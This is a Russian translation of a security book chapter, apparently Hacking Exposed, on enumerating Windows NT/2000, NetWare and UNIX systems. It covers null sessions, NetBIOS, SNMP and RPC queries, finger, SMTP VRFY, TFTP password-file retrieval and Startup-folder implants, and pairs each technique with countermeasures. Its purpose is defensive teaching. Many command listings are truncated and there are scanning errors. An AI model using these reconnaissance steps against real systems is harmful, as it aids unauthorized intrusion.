Получение дампа таблицы имен NetBIOS с помощью команд nbtstat и nbtscan Другой мощной встроенной утилитой является nbtstat, которая позволяет получить таблицу имен NetBIOS удаленной системы. Как видно из следующего примера, в этой таблице содержится важная информация. C:\>nbtstat -A 192.168.202.33 Фрагмент листинга указывает, что с помощью команды nbtstat было получено имя компьютера (SERVR9), домен, в котором он расположен (9DOMAIN), имена зарегистрированных пользователей (ADMINISTRATOR), все запущенные службы (inet-Services) и МАС-адрес. Всю эту информацию можно узнать по кодам службы NetBIOS (числа из двух цифр, расположенные справа от имени), частично представленным в табл. 3.1. Таблица 3. 1. Стандартные коды служб NetBIOS
Двумя основными недостатками команды nbtstat являются возможность ее применения к одному узлу одновременно и несколько непонятные выходные данные. Обоих этих недостатков лишена свободно распространяемая утилита nbtscan Аллы Безручко (Alia Bezroutchko), которую можно найти по адресу http://www.abb.aha. ru/software/nbtscan.html. Эта утилита позволяет быстро выполнить те же действия, что и команда nbtstat, над всей сетью и при этом предоставляет прекрасно отформатированные результаты. D:\Toolbox\nbtscanl02> Утилита nbtscan позволяет быстро получить данные об узлах сети, на которых используется система Windows. Попробуйте запустить ее для сети класса С из Internet, и вы поймете, что именно мы хотели сказать. Инвентаризация контроллеров доменов Для того чтобы проникнуть в структуру сети Windows NT немного глубже, понадобится инструмент, входящий в комплект NTRK. В следующем примере мы увидим, как с помощью средства NTRK nltest можно узнать, какие контроллеры доменов являются первичными (РОС — Primary Domain Controller), а какие — вторичными (ВDC — Backup Domain Controller). C:\> nltest /dclist:corleone Для дальнейшего продвижения вперед нам необходимо воспользоваться нулевым соединением. (Помните о нем? Если нет, то вернитесь к началу данной главы.) Достаточно установить нулевой сеанс с одним из узлов представляющего интерес домена, чтобы затем с помощью команды вида nltest /server :<имя_сервера>, а также параметра /trusted_ domains узнать всю информацию о доменах NT, в которые входит данный компьютер. Инвентаризация совместно используемых ресурсов NetBIOS с помощью команды net view и утилит NTRK Установив нулевой сеанс, можно снова взяться за старую добрую команду net view и провести инвентаризацию ресурсов удаленной системы, предоставленных для совместного доступа: C:\>net view \\vito В состав комплекта NTRK входят три утилиты, которые могут оказаться полезными для инвентаризации совместно используемых ресурсов, — rmtshare, srvcheck и srvinfo (с параметром -s). Утилита rmtshare выводит результат примерно в том же виде, что и команда net view. Утилита srvcheck отображает сведения о совместно используемых ресурсах и авторизованных пользователях, включая скрытые ресурсы. Однако для этого необходимо получить доступ к удаленной системе в качестве привилегированного пользователя. Наконец, утилита srvinfo с параметром -s позволяет просмотреть перечень совместно используемых ресурсов, а также получить об исследуемой системе множество другой полезной информации. Инвентаризация совместно используемых ресурсов NetBIOS с помощью утилиты DumpSec (ранее DumpACL) Одним из лучших инструментов для инвентаризации совместно используемых ресурсов NT (причем этим возможности .не ограничиваются), является пакет DumpSec (ранее DumpACL), основное диалоговое окно которого показано на рис. 3.1. Он распространяется бесплатно компанией Somarsoft (http://www.somarsoft.com). Вряд ли можно найти другой инструмент, который заслуживал бы такого же внимания администратора NT. Программа DumpSec выполняет чрезвычайно широкий аудит, начиная от разрешений на использование файловой системы удаленного узла и заканчивая перечнем запущенных на ней служб. На рис. 3.1 показан пример работы программы DumpSec для получения информации о совместно используемых ресурсах удаленной системы. Основная информация о пользователях может быть получена даже через нулевое соединение. Кроме того, эту программу можно запускать из командной строки, что позволяет без особых проблем применять ее при автоматизации процесса сбора и обработки информации, а также при написании сценариев.
Поиск совместно используемых ресурсов с помощью утилит Legion и NAT Открытие нулевого сеанса и использование описанных выше инструментов в ручном режиме прекрасно подходят для прямого вторжения, однако большинство хакеров предпочитают использовать сканер NetBIOS, чтобы быстро проверить целую сеть на предмет наличия незащищенных ресурсов. Одной из наиболее популярных утилит является Legion (ее можно найти во многих архивах Internet), диалоговое окно которой показано на следующем рисунке. Утилита Legion может обследовать сеть класса С и представить в своем окне перечень всех обнаруженных совместно используемых ресурсов. Ее версия 2.1 поддерживает режим подбора пароля "в лоб", при использовании которого утилита пытается подключиться к определенному ресурсу с помощью предоставленного пользователем списка паролей. Более подробная информация о подборе паролей Windows 9x и Windows NT приведена в главах 4 и 5 соответственно.
Еще одним популярным сканером совместно используемых ресурсов Windows является утилита NetBIOS Auditing Tool (NAT), работа которой основывается на коде, написанном Эндрю Тридгеллем (Andrew Tridgell). Эту утилиту можно найти на Web-узле книги по адресу http://www.hacking exposed.com. Участники ныне уже не существующей группы Rhino9 Security Team Неон Сурж (Neon Surge) и Хамелеон (Chameleon) написали графический интерфейс для утилиты NAT (рис. 3.2). Утилита NAT не только находит совместно используемые ресурсы, но и пытается подключится к ним с помощью списков пользовательских имен и паролей. Другие средства инвентаризации сети NT/2000 Необходимо упомянуть еще несколько программ, предназначенных для инвентаризации ресурсов NT: epdump компании Microsoft (ее можно найти по адресу http: //www.ntshop.net/security/tools/def.htm), getmac и netdom (из комплекта NTRK), а также утилиту netviewx Джеспера Лорицена (Jesper Lauritsen) http://www.ibt.ku.dk/jesper/NTtools). Утилита epdump посредством обращения :< интерфейсу RPC отображает перечень служб, связанных с IP-адресами и номерами портов (при этом результаты отображаются далеко не лучшим образом). Утилита getmac, используя нулевой сеанс, отображает МАС-адреса и имена устройств, присвоенных сетевым адаптерам удаленных узлов. Эта информация имеет особый интерес только для хакера, который ищет систему с несколькими сетевыми адаптерами. Утилита netdom более полезна, поскольку она выдает информацию обо всех связанных доменах, включая сведения о принадлежности к домену и его резервных контроллерах. Утилита netviewx также является мощным инструментом, позволяющим получить информацию об узлах домена и запущенных на них службах. Мы часто используем netviewx для проверки наличия службы удаленного доступа NT (RAS— Remote Access Service), чтобы получить представление о количестве серверов в сети, обеспечивающих удаленный доступ. Для этого можно воспользоваться представленной ниже командой. С помощью параметра -T задается имя исследуемого домена, а параметр -т позволяет задать тип компьютера или службы. C:\>netviewx -D CORLEONE -Т dialin_server Имена служб, запущенных на этом сервере, представлены между символами %. Кроме того, утилита netviewx является хорошим средством для поиска компьютера, который не является контроллером домена. Это не лишено смысла, поскольку вероятность того, что такой компьютер не будет иметь надежной защиты гораздо выше, чем у контроллера домена. Универсальное средство инвентаризации: утилита еnum Эта утилита была разработана группой Razor компании Bindview. В ней реализованы возможности всех других средств инвентаризации NetBIOS. Разработчики назвали эту программу enum, и это очень подходит для данной главы. Утилиту enum можно найти по адресу http://razor.bind-view.com. В приведенном ниже листинге представлены возможные Параметры командной строки. Из листинга видно, насколько всесторонние возможности предоставляет эта утилита. D:\Toolbox>enum Утилита enum позволяет автоматически устанавливать и завершать нулевой сеанс. Отдельного упоминания заслуживает параметр -Р, предоставляющий информацию о принятой политике шифрования паролями. С его помощью взломщики могут оценить возможность удаленного определения пользовательских паролей (с помощью параметров -о, -и и -£) до того момента, как будет найден наиболее легкий из них. Более подробно утилита еnum будет рассматриваться в следующем разделе, посвященном инвентаризации учетных записей пользователей NT/2000. Инвентаризация NetBIOS: контрмеры Практически во всех рассмотренных выше приемах задействуется механизм передачи данных NetBIOS, так что при запрещении доступа к портам TCP и UDP с 135 до 139 все попытки получения информации окажутся неудачными. Для этого лучше всего заблокировать доступ к этим портам с использованием маршрутизатора, брандмауэра или любого другого устройства управления доступом. В разделе, посвященном нулевым сеансам, вы узнали, как запретить использование протокола NetBIOS поверх TCP/IP и нужным образом настроить параметр системного реестра RestrictAnonymous. Это позволит предотвратить опасность извлечения важных данных посредством установки анонимных соединений. Однако правильное конфигурирование параметра RestrictAnonymous не способно заблокировать запросы, сгенерированные с использованием команд net view и nbtstat. Кроме того, не забывайте о том, что в системе Win 2000 некоторую информацию можно получить и через порт TCP/UDP с номером 445, так что доступ к этом порту также целесообразно заблокировать. Инвентаризация SNMP NT/2000 Даже если вы сделали все, чтобы предотвратить доступ к службам NetBIOS, с компьютера NT/2000 по-прежнему можно получить аналогичную информацию, если на нем запушен агент SNMP (Simple Network Management Protocol). Доступ к этому агенту можно получить с помощью строки доступа public, используемой по умолчанию. В таких случаях инвентаризация пользователей NT через протокол SNMP с помощью программы sranputil из комплекта NTRK превращается в увеселительную прогулку как в прямом (от английского слова walk ("пройтись"), фигурирующего в качестве параметра), так и в переносном смысле. С:\>snmputil walk 192.168.202.33 В приведенном выше примере запуска утилиты snmputil последний параметр (.1.3.6.1.4.1.77.1.2.25)— это идентификатор объекта (OID — Object Identifier), который в соответствии с требованиями протокола SNMP определяет ветвь информационной управляющей базы (MIB — Management Information Base) компании Microsoft. База MIB — это иерархическое пространство имен, поэтому "прогулка" по всему дереву (т.е. использование менее точного значения, например .1.3.6.1.4.1.77) приведет к получению слишком больших объемов информации. Запомнить все номера довольно сложно, поэтому взломщик, скорее всего, ограничится их строковыми эквивалентами. Ниже перечислены некоторые сегменты MIB, с помощью которых можно получить соответствующую информацию (для этого необходимо добавить тот или иной сегмент к .iso.оrg.dod.internet.private.enterprises.lanmanager.lanmgr-2).
Конечно, можно избавиться от рутинной работы по вводу столь длинных параметров. Для этого достаточно найти в Internet (например, по адресу http: //www.solar winds.net) прекрасный SNMP-броузер с именем IP Network Browser, предоставляющий всю перечисленную выше информацию в наглядной форме. На рис. 3.3 показано, как программа IP Network Browser проверяет сеть на наличие в ней компьютеров, на которых используется протокол SNMP.
Контрмеры: защита протокола SNMP Самый простой способ предупреждения такой деятельности состоит в удалении агента SNMP или в отключении службы SNMP с помощью аплета Services панели управления. Если данный вариант вам не подходит, то как минимум убедитесь в том, что доступ к данной службе правильно настроен и используется строка доступа private, а не установленная по умолчанию строка public. Можно также отредактировать системный реестр, чтобы разрешить только санкционированный доступ к службе SNMP и запретить передачу информации NetBIOS о системе. Для этого запустите программу regedt32 и найдите параметр HKLM\ SystemNCurrentControlSet\Services\ SNMP\Paramaters\ValidConununities. Выберите команду Permissions>Security и установите в открывшемся диалоговом окне значение таким образом, чтобы разрешить доступ только аутентифицированным пользователям системы. Затем перейдите к разделу HKLM\System\CurrentControlSet\ Services\SNMP\ ParametersNExtensionAgents, удалите значение, содержащее строку LANManagerMIB2Agent, а затем переименуйте остальные параметры, чтобы восстановить правильную последовательность. Например, если вы удалили параметр с номером 1, переименуйте параметры 2, 3, 4 и т.д. в 1, 2, 3 и т.д. Перенос зоны DNS Win 2000 Как было показано в главе 1, одной из основных целей предварительного сбора информации является получение данных о системе доменных имен (DNS), используемой в Internet, и преобразование IP-адресов узлов в дружественные имена, такие как amazon.com. Поскольку пространство имен активного каталога основывается на использовании службы DNS, компания Microsoft полностью обновила реализацию сервера DNS в Win 2000, чтобы удовлетворить всем новым потребностям. D:\Toolbox>nslookup Согласно спецификации RFC 2052, запись SRV имеет следующий формат. Блокирование переноса зоны DNS Win 2000 К счастью, в системе Win 2000 служба DNS реализована таким образом, что можно без проблем ограничить перенос зоны, как показано ниже на рисунке. На нем представлено диалоговое окно свойств зоны поиска в прямом направлении (в данном случае для сервера labf arce. org). Для того чтобы открыть это окно, запустите консоль управления Computer Management и откройте элемент Server Applications and Services\DNS\<имя_cepверa>\Forward Lookup Zones\[имя_зоны], а затем выберите команду Properties. Нетрудно догадаться, что по умолчанию в системе Windows 2000 разрешен перенос зоны по любому запросу. Можно полностью запретить перенос зоны, просто сбросив флажок Allow zone transfers, однако более реалистично было бы предположить, что на резервных серверах DNS информация должна регулярно обновляться. Так что в диалоговом окне свойств зоны можно установить и менее ограничивающий режим. |
Инвентаризация приложений и идентификационных маркеров Выше были рассмотрены вопросы инвентаризации сети и учетных записей пользователей. При этом для достижения требуемого результата применимы различные средства, встроенные в саму операционную систему. А как насчет получения списка приложений, установленных на компьютере NT/2000? Подобная информация способна значительно расширить знания об исследуемой системе. Процесс подключения к удаленным приложениям и наблюдение за результатами их использования часто называется сбором маркеров (banner grabbing) и может оказаться неожиданно информативным для взломщиков. Если говорить кратко, то в процессе сбора маркеров можно идентифицировать программное обеспечение, запущенное на сервере, и его версию. А этого во многих случаях будет вполне достаточно, чтобы начать поиск уязвимых мест. Основы процесса сбора маркеров: утилиты telnet и netcat Испытанным и надежным инструментом инвентаризации идентификационных маркеров и приложений как в мире NT, так и в мире UNIX, является утилита telnet. Установив с ее помощью соединение с известным портом исследуемого сервера, нажмите несколько раз клавишу <Enter> и посмотрите полученный результат. C:\>telnet www.corleone.com 80 Этот метод срабатывает для многих популярных приложений, использующих указанный порт (попробуйте его для порта HTTP 80, SMTP 25 или FTP 21, который особенно информативен при исследовании сервера под управлением Windows). C:\>nc -v www.corleone.com 80 В таких ситуациях ввод даже небольшого количества данных приводит к получению отклика со стороны удаленного узла. В данном случае, при нажатии клавиши <Enter> мы получим следующие результаты. НТТР/1.1 400 Bad Request Полученная информация способна существенно сузить область поиска подходов к проникновению в исследуемую систему. Теперь, когда известен производитель и версия программного обеспечения Web-сервера, взломщики могут сосредоточиться на методах, специфичных для данной платформы, и перебирать хорошо проверенные приемы до тех пор, пока один из них не достигнет цели. Таким образом, время начинает работать на злоумышленника, а не в пользу администратора. Мы еще не раз остановимся на методах применения утилиты netcat, в том числе и для извлечения дополнительной информации при инвентаризации UNIX. Этот вопрос будет рассматриваться в следующем разделе. Сбор идентификационных маркеров NT/2000: контрмеры Защита от такого рода попыток проведения инвентаризации требует от администратора некоторой доли изобретательности. Однако мы не можем определить с достаточной степенью определенности, насколько важна для взломщиков информация о приложениях и службах, работающих в вашей сети. Инвентаризация системного реестра NT/2000 Другой механизм получения информации о приложениях NT/2000 подразумевает получение копии содержимого системного реестра исследуемого компьютера. Практически все современные приложения, корректно установленные на компьютере NT, оставляют более или менее заметные "следы" в системном реестре. Требуется лишь знать, где производить поиск требуемой информации. Кроме того, злоумышленник, получивший доступ к системному реестру, может почерпнуть из него немало сведений о пользователях и параметрах конфигурации. Запасшись изрядной долей терпения, в лабиринте ульев можно обнаружить сведения, которые позволят получить доступ к нужной информации. К счастью, в системе NT/2000 доступ к системному реестру по умолчанию разрешен лишь администраторам (по меньшей мере в ее версии для сервера). Таким образом, описываемый ниже метод обычно неприменим при использовании анонимных нулевых соединений. Однако из этого правила существует одно исключение, когда в ключе HKLM\System\Current-ControlSet\Control\SecurePipeServer\ Winreg\AllowedPaths заданы другие параметры, открытые для доступа посредством нулевых сеансов. В этом случае по умолчанию доступ разрешен к ключу HKLM\software\Microsoft\windowsNT\ CurrentVersion. С:\> regdmp -m \\192.168.202.33 Программа DumpSec позволяет получить результат в более привлекательной форме (рис. 3.6), однако в большинстве случаев он ничем не отличается от результатов применения утилиты regdmp. В отчете утилиты DumpSec содержатся сведения обо всех службах и драйверах ядра Win32 удаленной системы, как работающих, так и не работающих (в соответствии с установленными разрешениями). Полученная информация может подсказать злоумышленнику, в каком направлении необходимо сосредоточить усилия при планировании вторжения и его реализации. Не забывайте о том, что при использовании программы DumpSec требуется открытие нулевого сеанса.
Контрмеры против сбора идентификационных маркеров и инвентаризации системного реестра Убедитесь, что системный реестр заблокирован и к нему нельзя получить доступ с использованием удаленных соединений. Для этого необходимо проверить возможность удаленного доступа к ключу HKLM\System\CurrentControlSet\SecurePipe Servers \winreg и всем связанным с ним подключам. Если этот ключ присутствует, то по умолчанию удаленный доступ к реестру разрешен лишь администраторам. Этот ключ по умолчанию присутствует только в версии Win NT/2000, предназначенной для сервера, но не для рабочей станции. В дополнительных подключах задаются определенные пути системного реестра, разрешающие доступ независимо от политики обеспечения безопасности, принятой для ключа winreg. Более подробная информация об этом приведена в статье Q155363 базы данных компании Microsoft, которую можно найти по адресу http://search.support.microsoft.com. Кроме того, воспользуйтесь каким-нибудь хорошим средством, например программой DumpSec, и удостоверьтесь в отсутствии утечки информации. |
Позвольте сценариям выполнить всю работу Вы подробно познакомились с ручными методами, которые взломщик может предпринять для инвентаризации сети, пользователей и получения данных о приложениях. Вполне понятно, что многие после прочтения материала, приведенного выше, забеспокоились и сразу же приступили к тестированию своих сетей на предмет поиска уязвимых мест. Однако это может оказаться трудноразрешимой задачей, если ваша сеть большого размера с множеством серверов. К счастью, большинство из описанных в данном разделе средств можно запускать из командной строки и, следовательно, легко автоматизировать их использование с помощью простых командных сценариев или других приемов. C:\>for /L %i Полученные результаты можно сократить, подав их на вход фильтра и оставив таким образом лишь список имен пользователей. Конечно, среда написания сценариев не ограничивается лишь командной оболочкой системы NT. Для этих целей удобно пользоваться также языками Perl, VBScript или другими средствами. Еще стоит упомянуть о том, что с помощью приведенного сценария можно успешно извлечь список пользователей, если на исследуемом узле открыты TCP-порты 139 или 445, а также не установлено значение для параметра RestrictSnonymous. |
Инвентаризация Novell Система Windows NT/2000 не одинока в наличии такого "порока", как нулевой сеанс. У сетевой операционной системы Novell NetWare имеется еще более серьезная проблема. Она состоит в том, что NetWare практически не заботится о защите информации, предоставляя ее кому угодно без какой-либо аутентификации сервером или деревом. Серверы NetWare 3.x и 4.x (с включенным контекстом Bindery (связки)) имеют так называемый изъян "присоединения" (attach), позволяющий любому желающему получить информацию о серверах, деревьях, группах, принтерах и пользовательских именах без регистрации на каком-либо сервере. В данном разделе мы покажем на практике, как это сделать, а затем дадим рекомендации по устранению этих недостатков. |
Сетевое окружение Первый этап инвентаризации сети NetWare состоит в получении данных о соединенных друг с другом серверах и деревьях. Это можно сделать различными способами, однако проще всего воспользоваться средством Network Neighborhood систем Windows 95/98/NT. Эта удобная утилита просмотра сетевых ресурсов обеспечивает возможность опрашивания всех серверов NetWare и деревьев NDS, с которыми имеется физическое соединение (рис. 3.7), хотя необходимо отметить, что вы не сможете просмотреть структуру дерева, не зарегистрировавшись в самом дереве. Конечно, данный факт сам по себе не угрожает информации, однако он показывает, что если каждый шаг можно выполнить столь просто, то и вся дистанция не покажется такой уж сложной.
Соединения с использованием клиента Client32 Программа управления службами Novell NetWare Services, представленная пиктограммой в системной области панели задач, позволяет управлять подключениями к NetWare с помощью команды NetWare Connections, как показано ниже.
Просмотр серверов NetWare с помощью On-Site Admin Не проходя аутентификации ни на одном сервере, можно просмотреть состояние любого сервера сети, воспользовавшись утилитой Novell On-Site Admin (ftp://ftp.cdrom.com). Вместо широковещательной рассылки сообщений эта утилита отображает сведения о серверах, хранящиеся в локальном буфере утилиты просмотра сетевого окружения. Эта утилита периодически обновляет свой буфер, рассылая по сети широковещательные сообщения серверам' NetWare. На рис. 3.9 показан пример того, как много информации можно получить с помощью утилиты On-Site Admin.
Программа On-Site Admin позволяет выполнять также и анализ, как показано на рис. 3.10. Выбрав сервер и щелкнув на кнопке Analyze, можно получить исчерпывающую информацию о томе NetWare.
|
Просмотр дерева с помощью утилиты On-Site Admin С помощью утилиты On-Site Admin можно также просмотреть всю информацию большинства деревьев NDS вплоть до их листьев. В этом случае клиент Client32 просто подключается к выбранному в дереве серверу (см. рисунок выше). Возможно это потому, что по умолчанию NetWare 4.x позволяет просматривать дерево любому желающему. Эту опасность можно устранить, добавив в корень дерева фильтр наследования прав (IRF — inheritance rights filter). Содержащаяся в дереве NDS информация является очень важной, поэтому нельзя разрешать просматривать ее кому попало, поскольку при его просмотре можно получить сведения о пользователях, группах, серверах и томах (рис. 3.11).
Получив всю информацию, о которой говорилось в данном разделе, злоумышленник может перейти к активным действиям по проникновению в систему, о которых мы поговорим в главе 7. |
Инвентаризация UNIX Большинство современных реализаций системы UNIX основываются на стандартных средствах обеспечения сетевой безопасности протокола TCP/IP. Благодаря этому они не так щедро раздают всем желающим информацию о сети, как система NT, в которой используется унаследованный от предыдущих версий интерфейс NetBIOS, или система NetWare, работа которой основывается на собственном механизме безопасности компании Novell. Естественно, это вовсе не означает, что система UNIX является неуязвимой, а ее сетевые ресурсы не могут подвергнутся инвентаризации. Все зависит от конфигурационных параметров системы. Например, службы RFC (Remote Procedure Call — удаленный вызов процедур), N1S (Network Information Service — сетевая информационная служба) и NFS (Network File System — сетевая файловая система), преимущества которых очень часто используют разработчики, являются излюбленными "мишенями" для взломщиков на протяжении уже многих лет. Ниже вы познакомитесь с некоторыми классическими методами инвентаризации UNIX (другими словами, старые и проверенные способы, которые, по-видимому, практически всегда будут срабатывать). Инвентаризация сетевых и совместно используемых ресурсов UNIX Лучшими источниками информации о сети UNIX являются базовые методы исследования стека протоколов TCP/IP, которые рассматривались в главе 2. Среди других средств можно выделить утилиту showmount, которую можно использовать для инвентаризации экспортируемых в сети файловых систем NFS. Например, предположим, что в результате сканирования стало известно, что на исследуемом компьютере в состоянии ожидания запросов находится порт 2049 (NFS). В этом случае с помощью утилиты showmount можно выяснить, какие именно каталоги являются совместно используемыми. showmount -e 192.168.202.34 Использование параметра -е позволяет получить список экспортируемых файловых систем сервера NFS. К сожалению, архитектура NFS в данном случае не позволяет противопоставить каких-либо защитных мер запросам такого рода. Можно лишь посоветовать, чтобы доступ к экспортируемой файловой системе выполнялся в соответствии с установленными разрешениями (операции чтения и записи должны быть разрешены только для строго определенных узлов), а доступ к NFS блокировался бы извне с помощью брандмауэра (порт 2049). Запросы утилиты showmount тоже можно регистрировать в системе. Это облегчает обнаружение взломщика. Инвентаризация пользователей и групп UNIX Возможно, самым старым приемом инвентаризации учетных записей пользователей, описанных в данной книге, является утилита finger. Эта утилита предоставляла простой и удобный способ получения информации о пользователях удаленного узла еще в те времена, когда сеть Internet не была настолько большой и простой в использовании. Мы упоминаем здесь об этой утилите в основном для того, чтобы акцентировать ваше внимание на основных способах ее использования. Многие средства проникновения в сеть по-прежнему базируются на использовании этой утилиты, поскольку нерадивые системные администраторы зачастую запускают системный процесс fingerd без каких-либо мер обеспечения безопасности. Как и прежде, мы предполагаем, что в процессе сканирования портов была получена информация о том, что на исследуемом узле запущена служба finger (порт 79). [root$]finger -I @target.hackme.com Команда finger 0@имя-узла также позволяет получить интересный результат. [root$]finger 00192.168.202.34 Как легко заметить, большая часть информации, которая отображается утилитой finger, не имеет особого значения (она выбирается из соответствующих полей файла /etc/password). Можно сказать, что с точки зрения безопасности самой опасной является информация об именах пользователей, зарегистрированных в системе, а также о времени, в течение которой пользователь не выполняет каких-либо операций (idle). Это поможет хакеру определить, кто в данный момент "присматривает" за машиной (возможно, пользователь root?) и насколько внимательно он это делает. Некоторая дополнительная информация может использоваться при попытке проникновения в сеть с помощью приемов социальной инженерии. (Социальная инженерия (social engineering) — термин из словаря хакера, обозначающий попытку с помощью психологических приемов установить контакт с нужными людьми с целью получения от них информации для проникновения в систему. Более подробная информация об этом содержится в главе 14, "Расширенные методы".) Как показано в этом примере, пользователи, которые помещают в свой рабочий каталог файлы .plan или .project, могут дать очень хорошую наводку хакеру (содержимое этих файлов выводится командой finger). rwho 192.168.202.34 При использовании параметра -1 утилита rusers позволяет получить более подробную информацию. Кроме сведений о пользователях она предоставляет данные о времени, прошедшем после последнего нажатия пользователем клавиш на клавиатуре, rusers -1 192.168.202.34 Еще один классический метод инвентаризации основан на использовании универсального средства почтовой доставки Internet — протокола SMTP (Simple Mail Transfer Protocol). Этот протокол поддерживает две встроенные команды, которые позволяют выполнять инвентаризацию пользовательских учетных записей. Команда VRFY подтверждает, что введенное имя имеется в системе, а команда EXPN отображает реальный адрес доставки письма вместо псевдонима или списка рассылки. Хотя в настоящее время многие компании и так достаточно свободно предоставляют информацию об электронных адресах, разрешение подобной деятельности на почтовом сервере может дать взломщику ценную информацию о пользователях, а также предоставить ему возможность фальсификации. telnet 192.168.202.34 25 Это еще один пример того, что нужно всегда помнить о старых хакерских приемах и вовремя отключать соответствующие режимы. Популярная программа sendmail, предназначенная для обмена информацией с использованием протокола SMTP (http://www.sendmail.org), начиная с версии 8, поддерживает синтаксис, который позволяет поместить в файл mail.cf параметры, запрещающие подобные команды или требующие аутентификации. Другие реализации SMTP-сервера должны предоставлять аналогичные возможности. Если это не так, замените программу! tftp 192.168.202.34 Помимо того, что в данном примере взломщику удалось получить файл паролей, которые он может попытаться взломать в любой момент, прямо из этого файла он может получить информацию о пользователях. Решение данной проблемы состоит в том, чтобы вообще отказаться от протокола TFTP. В тех же случаях, когда это действительно необходимо, упаковывайте передаваемые по этому протоколу пакеты данных, ограничьте доступ к каталогу /tftpboot и убедитесь, что протокол заблокирован на уровне пограничного брандмауэра. Инвентаризация приложений и идентификационных маркеров Как и любой другой сетевой ресурс, приложения должны иметь возможность обмениваться друг с другом информацией по сети. Одним из самых популярных протоколов, разработанных для обеспечения этого процесса, является протокол RPC (Remote Procedure Call). На основе RPC работает программа rpcbind, основная задача которой состоит в посредничестве между запросами клиентов и портами, которые эта программа динамически назначает находящимся в режиме ожидания приложениям. Несмотря на постоянную головную боль, которую много лет вызывают у администраторов брандмауэров подобные программы, служба RPC остается чрезвычайно популярным механизмом. Существует утилита rpcinfo, которая, подобно программе finger, может применяться для инвентаризации приложений RPC, находящихся в состоянии ожидания запроса на удаленном узле. Обычно для того чтобы воспользоваться этой утилитой, во время сканирования достаточно установить, что открыт порт 111 (rcbind) или 32771 (вариант утилиты от компании Sun). rpcinfo -p 192.168.202.34 Из полученных результатов можно заключить, что на данном узле запущен системный процесс rusersd, программное обеспечение служб NFS и NIS (ypserv — сервер службы NIS). Таким образом, с помощью команд rusers, shomount -e и pscan -n можно попытаться получить более подробную информацию. Кроме того, для инвентаризации можно также воспользоваться утилитой pscan (упоминавшейся выше) с параметром -г. D:\Toolbox>rpcdump 192.168.202.105 Существует и несколько других приемов использования службы RPC, с помощью которых хакеры могут получать требуемую информацию. Так, в системе Solaris компании Sun используется вторая утилита, необходимая для работы с портами с номерами выше 32771. Следовательно, модифицированная версия утилиты rpcinfo при обращении к этому порту позволит получить приведенную выше информацию, даже если порт 111 заблокирован. nc -nw -о banners.txt
Если в качестве параметра утилиты netcat используется IP-адрес исследуемого компьютера, то нужно указать также параметр -n. Контрмеры против сбора идентификационных маркеров Конечно, мы коснулись лишь нескольких из самых популярных приложений, поскольку ограничения по времени и объему не позволяют нам подробнее рассмотреть все многообразие существующего сетевого программного обеспечения. Однако, отталкиваясь от описанных в данном разделе общих подходов, необходимо по крайней мере "заткнуть рот" слишком "болтливым" приложениям вашей сети. Дополнительные сведения об устранении имеющихся изъянов можно поискать на Web-узле канадской консультационной компании PGCI. специализирующейся в области защиты информации, по адресу http://www.pgci.ca/p_fingerprint.html. Помимо интересной дискуссии о защите от попыток выявления типа и версии операционной системы (см. главу 2), на этом Web-узле приведены сведения о контрмерах, позволяющих предотвратить инвентаризацию идентификационных маркеров с помощью таких средств как программы sendmail, telnet, и протокол FTP. Там же вы найдете список адресов других Web-серверов, на которых содержится аналогичная информация. |
Резюме Если не считать времени, информация — это наиболее мощное оружие, которое может попасть в распоряжение хакера. К счастью, эта же информация может пригодиться и при обеспечении безопасности. В этой главе вы познакомились с несколькими источниками утечки информации, используемыми хакерами, а также узнали о некоторых способах устранения подобных проблем, вкратце перечисленных ниже.
|
Глава 4. УЯЗВИМОСТЬ WINDOWS 95/98/ME
|
Уязвимость WINDOWS 95/98/ME Самое важное, что должен знать администратор сети или конечный пользователь Windows 95/95B/98/98SE (далее — Win 9х), — это то, что при проектировании данной операционной системы вопросам безопасности не уделялось большое внимание, в отличие от ее "двоюродной сестры" Windows NT/2000. По существу складывается впечатление, что при планировании архитектуры Win 9x компания Microsoft везде, где только было можно, пожертвовала безопасностью в угоду простоте использования. Win 9x по праву считается системой, предназначенной для конечного пользователя. Зачастую самый простой способ проникновения в такую систему заключается в анализе данных Web или почтовых сообщений, передаваемых пользователю, а не в использовании средств самой операционной системы. В связи с этим мы настоятельно рекомендуем познакомиться с главой 16. |
Удаленное проникновение Методы удаленного проникновения в систему Win 9x условно можно разделить на четыре категории: прямое подключение к совместно используемому ресурсу (в том числе и ресурсам удаленного доступа); установка фонового сервера, предназначенного для создания "потайного хода''; использование известных изъянов приложений; генерация условия DoS (denial of service — отказ в обслуживании). Необходимо отметить, :о для реализации трех из перечисленных методов требуется, чтобы либо система была настроена неправильно, либо ее пользователь не имел практически никаких навыков администрирования. Ввиду того что такие ситуации случаются крайне редко, противостоять попыткам удаленного проникновения в общем случае довольно легко. |
Прямое подключение к совместно используемым ресурсам Win 9x Этот метод проникновения в удаленную систему Win 9x является самым очевидным и легко осуществимым. Win 9x поддерживает три способа получения прямого доступа к системе: путем подключения к совместно используемым файлам и принтерам; через компонент сервера удаленного доступа (по умолчанию не устанавливается); посредством удаленного манипулирования системным реестром. Последний способ требует специальной настройки и знания системы зашиты на уровне пользователей, т то за пределами корпоративных сетей случается крайне редко. Хзкинг совместно используемых файлов и принтеров Win 9x Мы не знаем ни одного метода, с помощью которого можно было бы извлечь хоть какую-то пользу от доступа к совместно используемому принтеру Win 9x, поэтому посвятим оставшуюся часть раздела исключительно проблеме доступа к совместно 'используемым файлам Win 9x.
Вред, который может нанести злоумышленник, получивший таким образом доступ к системе, зависит от каталога, к которому он подключился. Если в этом каталоге находятся файлы, критичные для безопасности, или же если данный ресурс представляет собой целый раздел жесткого диска (чем нередко грешат пользователи), то последствия могут оказаться поистине разрушительными. Взломщик может просто поместить выполняемый файл в каталог %systemroot%\Start Menu\Programs\Startup, и при последующей перезагрузке компьютера данная программа будет автоматически запущена без ведома пользователя. (Примеры программ, которые могут быть внедрены в систему таким образом, приведены в следующем разделе этой главы, посвященном одной из таких программ — Back Orifice). Наконец, в распоряжении хакера может оказаться файл PWL (об этом мы поговорим несколько позже). Контрмеры: защита от хакинга совместно используемых файлов Защититься от подобного нападения очень легко. Достаточно просто-напросто отключить режим совместного использования файлов на компьютере с Win 9x! Системным администраторам, в ведении которых находится много компьютеров, мы советуем использовать редактор системной политики (System Policy Editor) POLEDIT. EXE, с помощью которого можно запретить совместный доступ к файлам и принтерам на всех компьютерах сети. Программа POLEDIT . EXE, окно которой вы видите на рис. 4.2, входит в состав комплекта Windows 9x Resource Kit (далее — Win 9x RK). Найти ее можно в каталоге \tools\reskit\netadmin установочных компакт-дисков системы Win9x .
